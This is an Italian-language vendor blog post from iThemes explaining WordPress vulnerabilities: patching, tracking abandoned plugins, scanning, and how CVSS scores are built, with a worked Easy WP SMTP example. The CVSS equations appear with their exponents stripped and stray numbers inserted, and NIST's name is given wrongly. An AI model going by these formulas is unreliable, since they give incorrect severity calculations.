Avere un plugin o un tema vulnerabile per il quale è disponibile una patch ma non applicata è il colpevole numero uno dei siti Web WordPress compromessi. Ciò significa che la maggior parte delle vulnerabilità viene sfruttata DOPO il rilascio di una patch per la vulnerabilità.

La violazione altamente segnalata di Equifax avrebbe potuto essere evitata se avessero aggiornato il loro software. Per la violazione di Equifax, semplicemente non c'erano scuse.

Qualcosa di semplice come aggiornare il software può proteggerti. Quindi non ignorare quegli aggiornamenti di WordPress: gli aggiornamenti sono uno dei componenti più basilari di WordPress e di tutta la sicurezza web.

La funzione di gestione della versione di iThemes Security Pro consente di personalizzare e automatizzare gli aggiornamenti di WordPress.

2. Tieni traccia delle vulnerabilità di WordPress

Mantenere aggiornati i tuoi plugin e temi non ti proteggerà da ogni vulnerabilità. Alcuni plugin e temi sono stati abbandonati dagli sviluppatori che li hanno creati.

Sfortunatamente, se un plugin o un tema abbandonato ha una vulnerabilità, non riceverà mai una patch. Gli hacker prenderanno di mira i siti Web che utilizzano questi plug-in ora permanentemente vulnerabili.

Se hai un plug-in abbandonato con una vulnerabilità nota sul tuo sito web, stai dando agli hacker i progetti di cui hanno bisogno per prendere il controllo del tuo sito web. Ecco perché è necessario tenere traccia di tutte le ultime vulnerabilità.

È difficile tenere traccia di ogni vulnerabilità di WordPress divulgata e confrontare tale elenco con le versioni di plugin e temi che hai installato sul tuo sito web. Tenere traccia delle vulnerabilità è la differenza tra avere un sito web sicuro e uno che gli hacker sfrutteranno facilmente.

Buone notizie per te! Teniamo traccia e condividiamo ogni vulnerabilità divulgata nei nostri WordPress Vulnerability Roundups.

3. Scansiona il tuo sito web per le vulnerabilità

Un modo più rapido per proteggere il tuo sito Web da facili exploit degli hacker consiste nell'utilizzare scansioni automatizzate per verificare la presenza di vulnerabilità note sui tuoi siti Web.

IThemes Security Pro Site Scanner è il tuo modo per automatizzare la protezione dalle vulnerabilità su tutti i tuoi siti Web WordPress. Site Scanner verifica la presenza di vulnerabilità note sul tuo sito e applica automaticamente una patch, se disponibile.

Il sito iThemes Security Pro verifica la presenza di 3 tipi di vulnerabilità.

1. Vulnerabilità di WordPress
2. Vulnerabilità dei plugin
3. Vulnerabilità del tema

La funzione iThemes Sync Pro Site Audit sfrutta la potenza di Google Lighthouse per proteggere il tuo sito web. Site Audit controlla e contrassegna le pagine che includono librerie JavaScript front-end con vulnerabilità di sicurezza note.

È pratica comune per gli sviluppatori utilizzare codice di terze parti, come librerie JS, nei loro plugin e temi. Sfortunatamente, se le librerie non vengono gestite correttamente, possono creare vulnerabilità che gli aggressori possono sfruttare per hackerare il tuo sito web. L'utilizzo di componenti con vulnerabilità note è nell'elenco OWASP Top 10.

L'Audit del sito mi ha salvato la pancetta! Ho creato un programma di audit per fare in modo che Sync Pro esegua controlli automatici settimanali e mi invii tramite e-mail i rapporti di audit. Tengo tutto aggiornato ed è per questo che sono rimasto scioccato quando ho visto in uno dei controlli del mio sito Web che stavo utilizzando librerie JavaScript con vulnerabilità di sicurezza note.

Il rapporto mi ha indicato una versione obsoleta di jQuery nella directory WordPress del sito Web piena di vulnerabilità note! Fortunatamente per me, ho visto nel mio Sync Pro Site Audit che stavo utilizzando librerie JavaScript con vulnerabilità di sicurezza note ed ero in grado di risolvere il problema prima che il mio sito Web venisse violato.

Come misurare un rischio di vulnerabilità di WordPress

Esistono diversi tipi di vulnerabilità di WordPress, tutte con diversi gradi di rischio. Fortunatamente per noi, il National Vulnerability Database, un progetto del National Institute of Science and Technology, ha un calcolatore del sistema di punteggio di vulnerabilità per determinare il rischio di una vulnerabilità.

Questa sezione della guida alla vulnerabilità di WordPress tratterà le metriche del sistema di punteggio di vulnerabilità e i livelli di gravità. Sebbene questa sezione sia un po' più tecnica, alcuni utenti potrebbero trovarla utile per approfondire la loro comprensione di come vengono valutate le vulnerabilità di WordPress e la loro gravità.

Metriche comuni del sistema di punteggio delle vulnerabilità di WordPress

L'equazione del sistema di punteggio della vulnerabilità utilizza tre diversi set di punteggi per determinare il punteggio di gravità complessivo.

1. Metriche di base

Il gruppo di metriche di base rappresenta le caratteristiche di una vulnerabilità che sono costanti negli ambienti utente.

Le metriche di base sono divise in due gruppi, Sfruttabilità e Impatto.

1.1. Metriche di sfruttabilità

Il punteggio di sfruttabilità si basa su quanto sia difficile per un utente malintenzionato sfruttare la vulnerabilità. Il punteggio viene calcolato utilizzando 5 diverse variabili.

1.1.1. Vettore di attacco (AV)

Il punteggio del vettore di attacco si basa sul metodo con cui viene sfruttata la vulnerabilità. Il punteggio sarà tanto più alto quanto più remoto può essere un attaccante per sfruttare la vulnerabilità.

L'idea è che il numero di potenziali aggressori sarà molto maggiore se la vulnerabilità può essere sfruttata tramite una rete rispetto a una vulnerabilità che richiede l'accesso fisico a un exploit del dispositivo.

Maggiore è il numero di potenziali aggressori, maggiore è il rischio di sfruttamento e, pertanto, il punteggio del vettore di attacco assegnato alla vulnerabilità sarà maggiore.

1.1.2. Complessità di attacco (CA)

Il valore della complessità si basa sulle condizioni richieste per sfruttare la vulnerabilità. Alcune condizioni potrebbero richiedere la raccolta di ulteriori informazioni sulla destinazione, la presenza di determinate impostazioni di configurazione del sistema o eccezioni di calcolo.

Il punteggio di complessità dell'attacco sarà tanto maggiore quanto minore sarà la complessità richiesta per sfruttare la vulnerabilità.

1.1.3. Privilegi richiesti (PR)

Il punteggio dei privilegi richiesti viene calcolato in base ai privilegi che un utente malintenzionato deve ottenere prima di sfruttare una vulnerabilità. Ci addentreremo un po' di più nella sezione Autenticato vs. Non autenticato.

Il punteggio sarà più alto se non sono richiesti privilegi.

1.1.4. Interazione utente (UI)

Il punteggio di interazione dell'utente viene determinato in base al fatto che una vulnerabilità richieda o meno l'interazione dell'utente per essere sfruttata.

Il punteggio sarà più alto quando non è richiesta l'interazione dell'utente per consentire a un utente malintenzionato di sfruttare la vulnerabilità.

1.1.5. Scopo

Il punteggio dell'ambito si basa su una vulnerabilità in un componente software che ha un impatto sulle risorse oltre il suo ambito di sicurezza.

L'ambito di sicurezza comprende altri componenti che forniscono funzionalità esclusivamente a quel componente, anche se questi altri componenti dispongono della propria autorità di sicurezza.

Il punteggio è più alto quando si verifica una modifica dell'ambito.

1.2. Metriche di impatto

Le metriche Impact catturano gli effetti diretti di una vulnerabilità sfruttata con successo.

1.2.1. Impatto riservato (C)

Questo punteggio di impatto riservato misura l'impatto sulla riservatezza delle informazioni gestite dal software sfruttato.

Il punteggio è più alto quando la perdita per il software interessato è più alta.

1.2.2. Integrità (io)

Questo punteggio di integrità si basa sull'impatto sull'integrità di una vulnerabilità sfruttata con successo.

Il punteggio è più alto quando la conseguenza del software interessato è maggiore.

1.2.3. Disponibilità (A)

Il punteggio di disponibilità si basa sull'impatto della disponibilità del software sfruttato.

Il punteggio è più alto quando la conseguenza della componente impattata è maggiore.

Punteggio base Calcolo del punteggio CVSS

Il punteggio di base è una funzione delle equazioni del sottopunteggio Impatto e Sfruttamento. Laddove il punteggio di base è definito come,

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Metriche del punteggio temporale

Le metriche temporali misurano lo stato attuale delle tecniche di exploit, l'esistenza di eventuali patch o soluzioni alternative o la fiducia che si ha nella descrizione di una vulnerabilità.

Le metriche temporali sono previste e cambieranno nel tempo.

2.1. Scadenza codice exploit (E)

La maturità del codice exploit si basa sulla probabilità che la vulnerabilità venga attaccata.

Più è facile sfruttare una vulnerabilità, più alto è il punteggio di vulnerabilità.

2.2. Livello di riparazione (RL)

Il livello di correzione di una vulnerabilità è un fattore importante per la definizione delle priorità. Soluzioni alternative o hotfix possono offrire soluzioni provvisorie fino all'emissione di una patch o di un aggiornamento ufficiale.

Meno ufficiale e permanente è una correzione, maggiore è il punteggio di vulnerabilità.

2.3. Affidabilità del rapporto (RC)

La metrica Report Confidence misura il livello di confidenza che esiste una vulnerabilità e la credibilità dei dettagli tecnici.

Più una vulnerabilità viene convalidata dal fornitore o da altre fonti affidabili, più alto è il punteggio.

Calcolo del punteggio CVSS temporale

Il punteggio temporale è definito come,

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Metriche del punteggio ambientale

Le metriche ambientali consentono agli analisti di personalizzare il punteggio CVSS in base all'importanza delle risorse IT interessate.

Le metriche di Sfruttamento Ambientale e Impatto sono un equivalente modificato delle metriche di Base e vengono assegnati valori in base al posizionamento dei componenti dell'infrastruttura organizzativa. Vedere le sezioni delle metriche di base sopra per visualizzare i valori e le descrizioni delle metriche di Sfruttamento e Impatto.

Le metriche ambientali contengono un gruppo aggiuntivo, Impact Subscore Modifiers.

3.1. Metriche dei modificatori del sottopunteggio di impatto

Le metriche Impact Subscore Modifiers valutano i requisiti di sicurezza specifici per riservatezza (CR), integrità (IR) e disponibilità (AR), consentendo di ottimizzare il punteggio ambientale in base all'ambiente degli utenti.

Calcolo del punteggio CVSS ambientale

Il punteggio ambientale è definito come,

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Punteggio CVSS e gravità complessivi

Il punteggio del sistema di punteggio della vulnerabilità comune globale o CVSS è una rappresentazione dei punteggi di base, temporale e ambientale.

Il punteggio CVSS complessivo può essere utilizzato per darti un'idea di quanto sia grave o grave una vulnerabilità.

Esempio di valutazione della gravità CVSS nel mondo reale

Nel nostro riepilogo delle vulnerabilità di dicembre 2020 abbiamo segnalato una vulnerabilità nel plugin Easy WP SMTP. La vulnerabilità zero-day (parleremo delle vulnerabilità zero-day nella prossima sezione) ha consentito a un utente malintenzionato di assumere il controllo di un account amministratore ed è stato sfruttato in modo selvaggio.

Dando un'occhiata alla voce National Vulnerability Database, possiamo trovare il grado di gravità della vulnerabilità SMTP di WP.

Analizziamo un paio di cose dallo screenshot di WP SMTP NVDB sopra.

Punteggio base : il punteggio base è 7,5, il che ci dice che il livello di gravità della vulnerabilità è alto.

Vettore : il vettore ci dice che il punteggio si basa sulle equazioni di vulnerabilità CVSS 3.1 e sulle metriche utilizzate per calcolare il punteggio.

Ecco la porzione metrica del vettore.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Ora usiamo i valori e le descrizioni della metrica di base di prima in questo post per comprendere gli otto valori della metrica del vettore.

1. AV:N – Ciò significa che il vettore di attacco (AV) della vulnerabilità è la rete (N). In altre parole, un utente malintenzionato ha bisogno solo dell'accesso alla rete per sfruttare la vulnerabilità.
2. AC:L – La complessità di attacco (AC) della vulnerabilità è Bassa (L). In altre parole, qualsiasi script kiddie può sfruttare la vulnerabilità.
3. PR:N – I privilegi richiesti (PR) necessari per sfruttare la vulnerabilità sono Nessuno (N). Quindi, la vulnerabilità non richiede un utente autenticato per essere sfruttata. (Tratteremo la differenza tra le vulnerabilità autenticate e non autenticate più avanti in questo post.)
4. UI:N – L'interazione utente (UI) richiesta per sfruttare questa vulnerabilità è Nessuna (N). Quindi, l'attaccante ha i mezzi per sfruttare la vulnerabilità da solo.
5. S:U – Ciò significa che l'Ambito (S) della vulnerabilità è Invariato (U). Nel caso di questa vulnerabilità, il componente vulnerabile e il componente interessato coincidono.
6. C:H – L'impatto sulla riservatezza (C) della vulnerabilità è alto (H). Quando questa vulnerabilità viene sfruttata, si traduce in una totale perdita di riservatezza.
7. I:N – L'impatto sull'integrità (I) di questa vulnerabilità è Nessuno (N). Quando la vulnerabilità viene sfruttata, non c'è perdita di integrità o affidabilità delle informazioni vulnerabili.
8. A:N – Ciò significa che l'impatto sulla disponibilità (A) è Nessuno (N). Quando la vulnerabilità viene sfruttata, non ci sarà alcun impatto sulla disponibilità del tuo sito web.

Il punteggio CVSS può aiutarci a determinare la gravità e la portata di una determinata vulnerabilità. Nelle prossime due sezioni, tratteremo alcuni importanti termini di vulnerabilità che sono spesso inclusi nelle divulgazioni di vulnerabilità.

Webinar spiegato sulle vulnerabilità di WordPress

Dai un'occhiata al nostro webinar sullo stesso argomento.

Conclusione: spiegazione delle vulnerabilità di WordPress

Sebbene le vulnerabilità di WordPress siano spaventose, la buona notizia è che la maggior parte delle vulnerabilità di WordPress vengono scoperte e corrette prima che i malintenzionati abbiano la possibilità di sfruttarle.

Puoi aiutare a proteggere il tuo sito web dalle vulnerabilità mantenendo il core di WordPress e il tuo plugin e temi aggiornati è il modo migliore per assicurarti di ricevere le ultime patch di sicurezza.

Michael Moore

Ogni settimana, Michael mette insieme il Rapporto sulla vulnerabilità di WordPress per aiutare a mantenere i tuoi siti al sicuro. In qualità di Product Manager di iThemes, ci aiuta a continuare a migliorare la gamma di prodotti iThemes. È un nerd gigante e ama imparare tutto ciò che è tecnologico, vecchio e nuovo. Puoi trovare Michael che esce con sua moglie e sua figlia, leggendo o ascoltando musica quando non lavora.